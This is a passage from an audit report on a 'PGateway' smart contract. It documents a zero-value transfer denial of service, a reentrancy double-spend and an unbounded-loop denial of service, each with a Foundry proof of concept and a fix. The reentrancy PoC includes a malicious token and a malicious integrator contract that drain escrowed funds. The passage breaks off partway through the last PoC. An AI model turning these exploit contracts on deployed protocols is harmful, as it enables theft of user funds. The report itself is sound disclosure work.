        proposal.provider,
        providerAmount,
        proposal.proposedFeeBps,
        protocolFee,
        integratorFee,
        providerFee
    );
}
```

Proof of Concept

Save this to `test/POC_M05_ZeroValueTransferDOS.t.sol`

Run the POC:

```
forge t --mp test/POC_M05_ZeroValueTransferDOS.t.sol -vv
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ZeroTransferRevertToken is ERC20 {
    constructor() ERC20("LEND Token", "LEND") {
        _mint(msg.sender, 100_000_000e18);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function transfer(address to, uint256 amount) public override returns
(bool) {
        require(amount > 0, "LEND: transfer amount must be > 0");
        return super.transfer(to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) public
override returns (bool) {
        require(amount > 0, "LEND: transfer amount must be > 0");
        return super.transferFrom(from, to, amount);
    }
}

contract NormalToken is ERC20 {
    constructor() ERC20("Normal Token", "NORM") {
        _mint(msg.sender, 100_000_000e18);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MockAccessManager {
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(address => bool) public isBlacklisted;

    constructor(address _admin) {
        roles[DEFAULT_ADMIN_ROLE][_admin] = true;
        roles[ADMIN_ROLE][_admin] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) { return true; }
    function executeProviderNonReentrant(address) external pure returns
(bool) { return true; }
    function executeAggregatorNonReentrant(address) external pure returns
(bool) { return true; }
}

contract POC_M05_ZeroValueTransferDOS is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    ZeroTransferRevertToken public lendToken;
    NormalToken public normalToken;

    address public admin;
    address public treasury;
    address public aggregator;
    address public integrator;
    address public provider;
    address public user;

    uint64 constant PROTOCOL_FEE_BPS = 100;
    uint64 constant INTEGRATOR_FEE_BPS = 50;
    uint256 constant MAX_BPS = 100_000;

    function setUp() public {
        admin = makeAddr("admin");
        treasury = makeAddr("treasury");
        aggregator = makeAddr("aggregator");
        integrator = makeAddr("integrator");
        provider = makeAddr("provider");
        user = makeAddr("user");

        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: PROTOCOL_FEE_BPS,
                alphaLimit: 3000e18,
                betaLimit: 5000e18,
                deltaLimit: 7000e18,
                integrator: integrator,
                integratorFee: INTEGRATOR_FEE_BPS,
                omegaLimit: 10000e18,
                titanLimit: 50000e18,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        lendToken = new ZeroTransferRevertToken();
        normalToken = new NormalToken();
        settings.setSupportedToken(address(lendToken), true);
        settings.setSupportedToken(address(normalToken), true);
        vm.stopPrank();

        lendToken.mint(user, 10_000_000e18);
        normalToken.mint(user, 10_000_000e18);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE_BPS,
"TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent("USD", 10_000_000e18, 50, 500, 1 hours);
    }
    function test_POC_SettlementDOS_ZeroProtocolFee() public {
        uint256 smallAmount = 500;

        uint256 protocolFee = (smallAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        uint256 integratorFee = (smallAmount * INTEGRATOR_FEE_BPS) /
MAX_BPS;
        assertEq(protocolFee, 0);
        assertEq(integratorFee, 0);

        vm.startPrank(user);
        lendToken.approve(address(gateway), smallAmount);
        bytes32 orderId = gateway.createOrder(
            address(lendToken),
            smallAmount,
            user,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("zero_fee_order")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        vm.expectRevert("LEND: transfer amount must be > 0");
        gateway.executeSettlement(proposalId);
    }

    function test_POC_SettlementBroken_OnlyRefundPossible() public {
        uint256 smallAmount = 500;
        uint256 userBalanceBefore = lendToken.balanceOf(user);

        vm.startPrank(user);
        lendToken.approve(address(gateway), smallAmount);
        bytes32 orderId = gateway.createOrder(
            address(lendToken),
            smallAmount,
            user,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("broken_settlement_order")
        );
        vm.stopPrank();

        assertEq(lendToken.balanceOf(address(gateway)), smallAmount);
        assertEq(lendToken.balanceOf(user), userBalanceBefore -
smallAmount);

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        PGatewayStructs.Order memory orderBefore =
gateway.getOrder(orderId);
        assertEq(uint256(orderBefore.status),
uint256(PGatewayStructs.OrderStatus.ACCEPTED));

        vm.prank(aggregator);
        vm.expectRevert("LEND: transfer amount must be > 0");
        gateway.executeSettlement(proposalId);

        assertEq(lendToken.balanceOf(address(gateway)), smallAmount);
        assertEq(lendToken.balanceOf(provider), 0);
        assertEq(lendToken.balanceOf(treasury), 0);

        vm.warp(block.timestamp + 2 hours);

        vm.prank(aggregator);
        gateway.refundOrder(orderId);

        assertEq(lendToken.balanceOf(user), userBalanceBefore);
        assertEq(lendToken.balanceOf(address(gateway)), 0);

        PGatewayStructs.Order memory orderAfter =
gateway.getOrder(orderId);
        assertEq(uint256(orderAfter.status),
uint256(PGatewayStructs.OrderStatus.REFUNDED));
    }

    function test_POC_NormalTokenUnaffected() public {
        uint256 smallAmount = 500;

        uint256 protocolFee = (smallAmount * PROTOCOL_FEE_BPS) / MAX_BPS;
        assertEq(protocolFee, 0);

        vm.startPrank(user);
        normalToken.approve(address(gateway), smallAmount);
        bytes32 orderId = gateway.createOrder(
            address(normalToken),
            smallAmount,
            user,
            integrator,
            INTEGRATOR_FEE_BPS,
            keccak256("normal_token_order")
        );
        vm.stopPrank();

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);
```

```
        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        assertEq(uint256(order.status),
uint256(PGatewayStructs.OrderStatus.FULFILLED));
        assertEq(normalToken.balanceOf(address(gateway)), 0);
    }

    function test_POC_SystematicDOS_AllSmallOrdersBlocked() public {
        uint256 numOrders = 5;
        uint256 smallAmount = 999;
        uint256 totalLocked = 0;

        bytes32[] memory proposalIds = new bytes32[](numOrders);

        for (uint256 i = 0; i < numOrders; i++) {
            vm.startPrank(user);
            lendToken.approve(address(gateway), smallAmount);
            bytes32 orderId = gateway.createOrder(
                address(lendToken),
                smallAmount,
                user,
                integrator,
                INTEGRATOR_FEE_BPS,
                keccak256(abi.encodePacked("order_", i))
            );
            vm.stopPrank();

            vm.prank(aggregator);
            proposalIds[i] = gateway.createProposal(orderId, provider,
100);

            vm.prank(provider);
            gateway.acceptProposal(proposalIds[i]);

            totalLocked += smallAmount;
        }

        assertEq(lendToken.balanceOf(address(gateway)), totalLocked);

        for (uint256 i = 0; i < numOrders; i++) {
            vm.prank(aggregator);
            vm.expectRevert("LEND: transfer amount must be > 0");
            gateway.executeSettlement(proposalIds[i]);
        }

        assertEq(lendToken.balanceOf(address(gateway)), totalLocked);
    }
```

```
}
```

Recommendation

Add zero-value checks before each transfer:

```
function executeSettlement(bytes32 _proposalId) external onlyAggregator {
    // ... validation code ...

    uint256 integratorFee = (proposal.proposedAmount *
order.integratorFee) / settings.MAX_BPS();
    uint256 protocolFee = (proposal.proposedAmount *
settings.protocolFeePercent()) / settings.MAX_BPS();
    uint256 providerFee = (proposal.proposedAmount *
proposal.proposedFeeBps) / settings.MAX_BPS();
    uint256 providerAmount = proposal.proposedAmount - protocolFee -
integratorFee;

-   IERC20(order.token).safeTransfer(settings.treasuryAddress(),
protocolFee);
-   IERC20(order.token).safeTransfer(order.integrator, integratorFee);
-   IERC20(order.token).safeTransfer(proposal.provider, providerAmount);
+   if (protocolFee > 0) {
+       IERC20(order.token).safeTransfer(settings.treasuryAddress(),
protocolFee);
+   }
+   if (integratorFee > 0) {
+       IERC20(order.token).safeTransfer(order.integrator, integratorFee);
+   }
+   if (providerAmount > 0) {
+       IERC20(order.token).safeTransfer(proposal.provider,
providerAmount);
+   }

    // ... rest of function ...
}
```

L-5: CEI Pattern Violation in executeSettlement Enables Reentrancy Double-Spend

Summary

The `executeSettlement()` function in `PGateway.sol` performs three external token transfers before updating critical state variables (`proposalExecuted` and `order.status`). This violates the Checks-Effects-Interactions (CEI) pattern and creates a reentrancy window that can be exploited to drain funds from the gateway escrow.

Vulnerability Detail

In `executeSettlement()`, the execution order is:

1. CHECKS: Validate proposal status and order status
2. INTERACTIONS: Three external `safeTransfer` calls (lines 776-778)
3. EFFECTS: Update `proposalExecuted` and `order.status` (lines 780-781)

```
function executeSettlement(bytes32 _proposalId) external onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();
    PGatewayStructs.SettlementProposal storage proposal =
proposals[_proposalId];
    if (proposal.status != PGatewayStructs.ProposalStatus.ACCEPTED) revert
InvalidProposal();
    if (proposalExecuted[_proposalId]) revert InvalidProposal();

    PGatewayStructs.Order storage order = orders[proposal.orderId];
    if (order.status != PGatewayStructs.OrderStatus.ACCEPTED) revert
InvalidOrder();

    uint256 integratorFee = (proposal.proposedAmount *
order.integratorFee) / settings.MAX_BPS();
    uint256 protocolFee = (proposal.proposedAmount *
settings.protocolFeePercent()) / settings.MAX_BPS();
    uint256 providerFee = (proposal.proposedAmount *
proposal.proposedFeeBps) / settings.MAX_BPS();
    uint256 providerAmount = proposal.proposedAmount - protocolFee -
integratorFee;

    // INTERACTIONS - External calls BEFORE state updates
    IERC20(order.token).safeTransfer(settings.treasuryAddress(),
protocolFee);
    IERC20(order.token).safeTransfer(order.integrator, integratorFee);  //
<-- Callback possible here
    IERC20(order.token).safeTransfer(proposal.provider, providerAmount);

    // EFFECTS - State updates AFTER external calls (TOO LATE!)
    proposalExecuted[_proposalId] = true;
    order.status = PGatewayStructs.OrderStatus.FULFILLED;

    _updateProviderSuccess(proposal.provider, block.timestamp -
proposal.proposedAt);
    // ... emit event
}
```

The `order.integrator` address is user-controlled (set during `createOrder()`). When using tokens with transfer callbacks (ERC777, ERC1363, or malicious tokens), the integrator contract receives a callback during the second transfer. At this point:

- `proposalExecuted[_proposalId]` is still `false`

- `order.status` is still `ACCEPTED`
- Treasury has already received funds
- Provider has NOT yet received funds

If the malicious integrator has `AGGREGATOR_ROLE` (compromised aggregator, insider threat, or social engineering), it can re-enter `executeSettlement()` with the same `proposalId`, passing all validation checks and triggering additional fund transfers.

Impact

Critical Fund Loss: A single order settlement can be executed multiple times, draining funds belonging to other users from the gateway escrow.

Demonstrated impact from POC:

- 4 settlements executed from a single 10,000 token order
- 30,000 extra tokens stolen from gateway escrow (other users' funds)
- Provider received 4x their legitimate amount (39,920 instead of 9,980 tokens)

Attack prerequisites:

1. Token with transfer callbacks (ERC777/ERC1363) OR malicious token supported by protocol
2. Attacker controls integrator address
3. Attacker has `AGGREGATOR_ROLE` (compromised aggregator scenario)

The severity is HIGH because:

- Direct theft of user funds is possible
- The CEI violation breaks defense-in-depth (relying solely on external reentrancy guards)
- Integrator address is fully user-controlled
- The vulnerability exists regardless of reentrancy guard implementation

Proof of Concept

Save this POC in `test/POC_H02_CEI_Reentrancy.t.sol`

Run the POC:

```
forge test --match-test test_POC_H02_Full_Exploit_With_Aggregator_Role -
vvv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "./mocks/MockAccessManager.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MaliciousERC777Token is ERC20 {
    address public callbackTarget;
    bytes public callbackData;
    bool public enableCallback;

    constructor() ERC20("Malicious Token", "MAL") {
        _mint(msg.sender, 100_000_000e18);
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function setCallback(address target, bytes memory data) external {
        callbackTarget = target;
        callbackData = data;
        enableCallback = true;
    }

    function transfer(address to, uint256 amount) public override returns
(bool) {
        bool result = super.transfer(to, amount);
        if (enableCallback && to == callbackTarget && callbackData.length
> 0) {
            (bool success,) = callbackTarget.call(callbackData);
            if (!success) {}
        }
        return result;
    }
}

contract MaliciousIntegrator {
    PGateway public gateway;
    bytes32 public targetProposalId;
    uint256 public reentrancyAttempts;
    uint256 public maxReentrancy;
    bool public proposalExecutedDuringCallback;
    uint8 public orderStatusDuringCallback;
    bool public callbackTriggered;

    constructor(address _gateway) {
        gateway = PGateway(_gateway);
        maxReentrancy = 3;
    }

    function setTargetProposal(bytes32 _proposalId) external {
        targetProposalId = _proposalId;
    }
    function setMaxReentrancy(uint256 _max) external {
        maxReentrancy = _max;
    }

    function triggerCallback() external {
        callbackTriggered = true;
        proposalExecutedDuringCallback =
gateway.proposalExecuted(targetProposalId);

        PGatewayStructs.SettlementProposal memory proposal =
gateway.getProposal(targetProposalId);
        PGatewayStructs.Order memory order =
gateway.getOrder(proposal.orderId);
        orderStatusDuringCallback = uint8(order.status);

        if (reentrancyAttempts < maxReentrancy) {
            reentrancyAttempts++;
            try gateway.executeSettlement(targetProposalId) {} catch {}
        }
    }
}

contract VulnerableAccessManager {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
    bytes32 public constant DISPUTE_MANAGER_ROLE =
keccak256("DISPUTE_MANAGER_ROLE");
    bytes32 public constant PLATFORM_SERVICE_ROLE =
keccak256("PLATFORM_SERVICE_ROLE");
    bytes32 public constant DEFAULT_ADMIN_ROLE =
keccak256("DEFAULT_ADMIN_ROLE");
    bytes32 public constant AGGREGATOR_ROLE =
keccak256("AGGREGATOR_ROLE");
    bytes32 public constant FEE_MANAGER_ROLE =
keccak256("FEE_MANAGER_ROLE");
    bytes32 public constant PROVIDER_ROLE = keccak256("PROVIDER_ROLE");
    bytes32 public constant TRADING_ENABLED =
keccak256("TRADING_ENABLED");
    bytes32 public constant WITHDRAWALS_ENABLED =
keccak256("WITHDRAWALS_ENABLED");

    address public pasarAdmin;
    address public superAdmin;

    mapping(bytes32 => mapping(address => bool)) public roles;
    mapping(bytes32 => bool) public systemFlags;
    mapping(address => bool) public isBlacklisted;

    constructor(address _superAdmin) {
        superAdmin = _superAdmin;
        pasarAdmin = _superAdmin;
        roles[DEFAULT_ADMIN_ROLE][_superAdmin] = true;
        roles[ADMIN_ROLE][_superAdmin] = true;
        systemFlags[TRADING_ENABLED] = true;
        systemFlags[WITHDRAWALS_ENABLED] = true;
    }

    function grantRole(bytes32 role, address account) external {
        roles[role][account] = true;
    }

    function hasRole(bytes32 role, address account) public view returns
(bool) {
        return roles[role][account];
    }

    function executeNonReentrant(address, bytes32) external pure returns
(bool) {
        return true;
    }

    function executeProviderNonReentrant(address) external pure returns
(bool) {
        return true;
    }

    function executeAggregatorNonReentrant(address) external pure returns
(bool) {
        return true;
    }

    function getAccountRoles(address) external pure returns (bytes32[]
memory) {
        return new bytes32[](0);
    }

    function isOperator(address) external pure returns (bool) {
        return false;
    }

    function setSystemFlag(bytes32, bool) external {}
    function setBlacklistStatus(address, bool) external {}
    function batchUpdateBlacklist(address[] calldata, bool[] calldata)
external {}
    function scheduleAdminChange(address, bool) external {}
    function executeAdminChange(bytes32) external {}
    function cancelAdminChange(bytes32) external {}
    function isAdminChangeReady(bytes32) external pure returns (bool) {
return false; }
    function emergencyShutdown() external {}
    function restoreSystem() external {}
    function pause() external {}
    function unpause() external {}
    function resolveDispute(uint256, address) external {}
    function managePlatformService(bytes32, bool) external {}
}

contract POC_H02_CEI_Reentrancy is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    VulnerableAccessManager public accessManager;
    MaliciousERC777Token public malToken;
    MaliciousIntegrator public maliciousIntegrator;

    address public admin;
    address public aggregator;
    address public provider;
    address public user;
    address public treasury;

    uint256 constant ORDER_AMOUNT = 10_000e18;

    function setUp() public {
        admin = makeAddr("admin");
        aggregator = makeAddr("aggregator");
        provider = makeAddr("provider");
        user = makeAddr("user");
        treasury = makeAddr("treasury");

        vm.startPrank(admin);

        accessManager = new VulnerableAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: 100,
                alphaLimit: 3000e18,
                betaLimit: 5000e18,
                deltaLimit: 7000e18,
                integrator: admin,
                integratorFee: 50,
                omegaLimit: 10000e18,
                titanLimit: 50000e18,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );

        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );

        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        malToken = new MaliciousERC777Token();
        settings.setSupportedToken(address(malToken), true);

        maliciousIntegrator = new MaliciousIntegrator(address(gateway));

        vm.stopPrank();

        malToken.mint(user, 1_000_000e18);
    }

    function test_POC_H02_CEI_Violation_State_Inconsistency() public {
        vm.startPrank(user);
        malToken.approve(address(gateway), ORDER_AMOUNT);
        gateway.registerAsIntegrator(100, "Malicious Integrator");

        bytes32 orderId = gateway.createOrder(
            address(malToken),
            ORDER_AMOUNT,
            user,
            address(maliciousIntegrator),
            100,
            keccak256("order_cei_test")
        );
        vm.stopPrank();

        vm.prank(provider);
        gateway.registerIntent("USD", 1_000_000e18, 50, 500, 30 minutes);

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        maliciousIntegrator.setTargetProposal(proposalId);

        bytes memory callbackData = abi.encodeWithSelector(
            MaliciousIntegrator.triggerCallback.selector
        );
        malToken.setCallback(address(maliciousIntegrator), callbackData);

        assertFalse(gateway.proposalExecuted(proposalId));
        PGatewayStructs.Order memory orderBefore =
gateway.getOrder(orderId);
        assertEq(uint8(orderBefore.status),
uint8(PGatewayStructs.OrderStatus.ACCEPTED));

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        assertTrue(maliciousIntegrator.callbackTriggered());
        assertFalse(maliciousIntegrator.proposalExecutedDuringCallback());
        assertEq(
            maliciousIntegrator.orderStatusDuringCallback(),
            uint8(PGatewayStructs.OrderStatus.ACCEPTED)
        );

        assertTrue(gateway.proposalExecuted(proposalId));
        PGatewayStructs.Order memory orderAfter =
gateway.getOrder(orderId);
        assertEq(uint8(orderAfter.status),
uint8(PGatewayStructs.OrderStatus.FULFILLED));
    }

    function test_POC_H02_Full_Exploit_With_Aggregator_Role() public {
        vm.prank(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
address(maliciousIntegrator));

        malToken.mint(address(gateway), ORDER_AMOUNT * 5);

        vm.startPrank(user);
        malToken.approve(address(gateway), ORDER_AMOUNT);
        gateway.registerAsIntegrator(100, "Compromised Integrator");

        bytes32 orderId = gateway.createOrder(
            address(malToken),
            ORDER_AMOUNT,
            user,
            address(maliciousIntegrator),
            100,
            keccak256("full_exploit_order")
        );
        vm.stopPrank();

        vm.prank(provider);
        gateway.registerIntent("USD", 1_000_000e18, 50, 500, 30 minutes);

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        maliciousIntegrator.setTargetProposal(proposalId);
        maliciousIntegrator.setMaxReentrancy(3);
        bytes memory callbackData = abi.encodeWithSelector(
            MaliciousIntegrator.triggerCallback.selector
        );
        malToken.setCallback(address(maliciousIntegrator), callbackData);

        uint256 gatewayBalanceBefore =
malToken.balanceOf(address(gateway));
        uint256 providerBalanceBefore = malToken.balanceOf(provider);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);

        uint256 gatewayBalanceAfter =
malToken.balanceOf(address(gateway));
        uint256 providerBalanceAfter = malToken.balanceOf(provider);

        uint256 expectedSingleProviderAmount = 9980e18;
        uint256 actualSettlements = (providerBalanceAfter -
providerBalanceBefore) / expectedSingleProviderAmount;
        uint256 fundsStolen = gatewayBalanceBefore - gatewayBalanceAfter -
ORDER_AMOUNT;

        assertFalse(maliciousIntegrator.proposalExecutedDuringCallback());
        assertEq(
            maliciousIntegrator.orderStatusDuringCallback(),
            uint8(PGatewayStructs.OrderStatus.ACCEPTED)
        );

        assertGt(actualSettlements, 1);
        assertGt(fundsStolen, 0);
    }
}
```

Recommendation

Follow the Checks-Effects-Interactions pattern by updating state BEFORE external calls:

```
function executeSettlement(bytes32 _proposalId) external onlyAggregator {
    if (!accessManager.executeAggregatorNonReentrant(msg.sender)) revert
Unauthorized();

    PGatewayStructs.SettlementProposal storage proposal =
proposals[_proposalId];
    if (proposal.status != PGatewayStructs.ProposalStatus.ACCEPTED) revert
InvalidProposal();
    if (proposalExecuted[_proposalId]) revert InvalidProposal();

    PGatewayStructs.Order storage order = orders[proposal.orderId];
    if (order.status != PGatewayStructs.OrderStatus.ACCEPTED) revert
InvalidOrder();
    if (order.acceptedProposalId != _proposalId) revert InvalidProposal();

    uint256 integratorFee = (proposal.proposedAmount *
order.integratorFee) / settings.MAX_BPS();
    uint256 protocolFee = (proposal.proposedAmount *
settings.protocolFeePercent()) / settings.MAX_BPS();
    uint256 providerFee = (proposal.proposedAmount *
proposal.proposedFeeBps) / settings.MAX_BPS();
    uint256 providerAmount = proposal.proposedAmount - protocolFee -
integratorFee;

    // EFFECTS - Update state BEFORE external calls
    proposalExecuted[_proposalId] = true;
    order.status = PGatewayStructs.OrderStatus.FULFILLED;

    // Update reputation before transfers
    _updateProviderSuccess(proposal.provider, block.timestamp -
proposal.proposedAt);

    // INTERACTIONS - External calls AFTER state updates
    IERC20(order.token).safeTransfer(settings.treasuryAddress(),
protocolFee);
    IERC20(order.token).safeTransfer(order.integrator, integratorFee);
    IERC20(order.token).safeTransfer(proposal.provider, providerAmount);

    emit SettlementExecuted(
        proposal.orderId,
        _proposalId,
        proposal.provider,
        providerAmount,
        proposal.proposedFeeBps,
        protocolFee,
        integratorFee,
        providerFee
    );
}
```

Additionally, consider:

1. Using OpenZeppelin's `ReentrancyGuard` as defense-in-depth
2. Adding explicit reentrancy locks in the contract itself rather than relying on external `AccessManager`
3. Validating that supported tokens do not have transfer hooks, or explicitly documenting ERC777/ERC1363 tokens are not supported

L-6: Unbounded Loop DOS in Upgrade Queue Management

Summary

The `cancelUpgrade()` and `_performUpgrade()` functions in `PAdmin.sol` iterate through the entire `upgradeQueue` array to locate and remove elements. As upgrades are scheduled, this array grows unbounded, causing gas costs to increase linearly. At scale, this can exceed block gas limits, causing a permanent denial-of-service where no upgrades can be canceled or executed.

Vulnerability Detail

In `PAdmin.sol`, both `cancelUpgrade()` (lines 232-241) and `_performUpgrade()` (lines 267-274) use identical O(n) loops to find and remove targets from the `upgradeQueue`:

```
// cancelUpgrade() - Lines 232-241
for (uint256 i = 0; i < upgradeQueue.length; i++) {
    if (upgradeQueue[i] == target) {
        upgradeQueue[i] = upgradeQueue[upgradeQueue.length - 1];
        upgradeQueue.pop();
        break;
    }
}

// _performUpgrade() - Lines 267-274 (identical loop)
for (uint256 i = 0; i < upgradeQueue.length; i++) {
    if (upgradeQueue[i] == target) {
        upgradeQueue[i] = upgradeQueue[upgradeQueue.length - 1];
        upgradeQueue.pop();
        break;
    }
}
```

The vulnerability arises because:

1. Each loop iteration costs ~1,000 gas (SLOAD for array element + comparison)
2. The `upgradeQueue` array has no maximum size limit
3. Gas cost scales linearly: O(n) where n = queue length
4. Worst case (target at last index) requires iterating through entire array

Impact

1. Linear Gas Scaling: Gas costs increase proportionally with queue size (~1,000 gas per item)
2. Permanent DOS: At ~30,000 pending upgrades, operations exceed the 30M block gas limit
3. Protocol Lockout: Critical security upgrades cannot be executed or canceled
4. Chainlink Automation Failure: `performUpkeep()` fails if gas limits are exceeded
5. Griefing Attack Vector: A malicious admin can intentionally pollute the queue to increase costs for legitimate operations

Quantified Impact from POC:

Queue Size	Gas Used (Worst Case)
50 items	57,234 gas

Queue Size	Gas Used (Worst Case)
500 items	504,534 gas
1,000 items	1,001,534 gas
2,000 items	2,020,922 gas
3,000 items	2,989,531 gas

DOS Threshold: ~30,000 pending upgrades would exceed the 30M block gas limit, making `cancelUpgrade` and `performUpgrade` permanently unusable.

Code Snippet

`src/admin/PAdmin.sol#L232-L241`

`src/admin/PAdmin.sol#L267-L274`

```
function cancelUpgrade(address target) external onlyRole(ADMIN_ROLE)
whenNotPaused {
    if (!pendingUpgrades[target].exists) revert NoUpgradePending(target);

    emit UpgradeCancelled(target,
pendingUpgrades[target].newImplementation, msg.sender);
    delete pendingUpgrades[target];

    // @audit O(n) loop - gas cost scales linearly with queue size
    for (uint256 i = 0; i < upgradeQueue.length; i++) {
        if (upgradeQueue[i] == target) {
            upgradeQueue[i] = upgradeQueue[upgradeQueue.length - 1];
            upgradeQueue.pop();
            break;
        }
    }
}
```

Proof of Concept

Save this POC in `test/POC_H03_UnboundedLoopDOS.t.sol`

Run the POC:

```
forge test --match-contract POC_H03 -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import {ReentrancyGuard} from
"@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
import {AccessControl} from
"@openzeppelin/contracts/access/AccessControl.sol";

contract VulnerablePAdminForH03 is AccessControl, ReentrancyGuard,
Pausable {
    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");

    error InvalidAddress();
    error UpgradeAlreadyPending(address target);
    error NoUpgradePending(address target);
    error UpgradeTooEarly(address target);
    error UpgradeFailed(address target, bytes data);

    struct PendingUpgrade {
        address target;
        address newImplementation;
        uint96 scheduleTime;
        bool exists;
    }

    mapping(address => PendingUpgrade) public pendingUpgrades;
    address[] public upgradeQueue;
    uint256 public constant MIN_DELAY = 2 days;

    constructor(address superAdmin, address upgradeAdmin) {
        _grantRole(ADMIN_ROLE, upgradeAdmin);
        _grantRole(DEFAULT_ADMIN_ROLE, superAdmin);
    }

    function scheduleUpgrade(address target, address newImplementation)
external onlyRole(ADMIN_ROLE) whenNotPaused {
        if (target == address(0) || newImplementation == address(0))
revert InvalidAddress();
        if (pendingUpgrades[target].exists) revert
UpgradeAlreadyPending(target);

        uint96 scheduledTime = uint96(block.timestamp + MIN_DELAY);
        pendingUpgrades[target] = PendingUpgrade({
            target: target,
            newImplementation: newImplementation,
            scheduleTime: scheduledTime,
            exists: true
        });
        upgradeQueue.push(target);
    }
    function cancelUpgrade(address target) external onlyRole(ADMIN_ROLE)
whenNotPaused {
        if (!pendingUpgrades[target].exists) revert
NoUpgradePending(target);
        delete pendingUpgrades[target];

        for (uint256 i = 0; i < upgradeQueue.length; i++) {
            if (upgradeQueue[i] == target) {
                upgradeQueue[i] = upgradeQueue[upgradeQueue.length - 1];
                upgradeQueue.pop();
                break;
            }
        }
    }

    function performUpgrade(address target) external onlyRole(ADMIN_ROLE)
whenNotPaused {
        PendingUpgrade memory upgrade = pendingUpgrades[target];
        if (!upgrade.exists) revert NoUpgradePending(target);
        if (block.timestamp < upgrade.scheduleTime) revert
UpgradeTooEarly(target);

        delete pendingUpgrades[target];
